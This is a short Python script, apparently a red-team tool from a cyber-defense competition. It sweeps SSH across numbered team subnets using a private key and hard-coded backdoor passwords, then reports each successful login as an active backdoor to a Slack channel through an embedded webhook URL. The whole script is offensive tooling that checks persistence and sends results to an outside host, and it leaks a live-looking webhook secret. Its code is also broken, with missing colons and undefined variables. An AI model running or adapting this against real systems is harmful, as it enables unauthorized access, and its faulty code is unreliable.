#!/usr/bin/env python

import requests
import paramiko

HOSTS = (11,23,39,100)
TEAMS = range(21, 33)
NETWORK = "172.25"
KEY = paramiko.RSAKey.from_private_key_file("/root/ccdc.priv")

def slackMessage(text)
    data = {'username': 'shellz', 'channel':'shellz', 'text':slackText}
    res = requests.post("https://hooks.slack.com/services/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", json=data)

def connect(host, username, password=None)
    try:
        if password:
            client.connect(h,username=user,password=password,timeout=10)
        else:
            client.connect(h,username=user,pkey=KEY,timeout=10)
        slackText = "%s %s backdoor active on %s"  % (h, username, host)
        slackMessage(slackText)
    except Exception as e:
        print("[-] %s could not be connected.  Error: %s"% (h,str(e)))
        return False
    finally:
        client.close()

def main():
    client = paramiko.SSHClient()
    client.load_system_host_keys()
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())


    for team in TEAMS:
        connect("%s.%s.%s" % (NETWORK, team, 11), "root")
        connect("%s.%s.%s" % (NETWORK, team, 11), "scoringengine", "cyberpewpew")
        connect("%s.%s.%s" % (NETWORK, team, 11), "couchdb", "redteam1")

        connect("%s.%s.%s" % (NETWORK, team, 23), "root")
        connect("%s.%s.%s" % (NETWORK, team, 23), "scoringengine", "cyberpewpew")
        connect("%s.%s.%s" % (NETWORK, team, 23), "couchdb", "redteam1")

        connect("%s.%s.%s" % (NETWORK, team, 23), "administrator")
        connect("%s.%s.%s" % (NETWORK, team, 23), "scoringengine", "cyberpewpew")
        connect("%s.%s.%s" % (NETWORK, team, 23), "couchdb", "redteam1")

        connect("%s.%s.%s" % (NETWORK, team, 100), "admin")

if __name__ == '__main__':
    main()
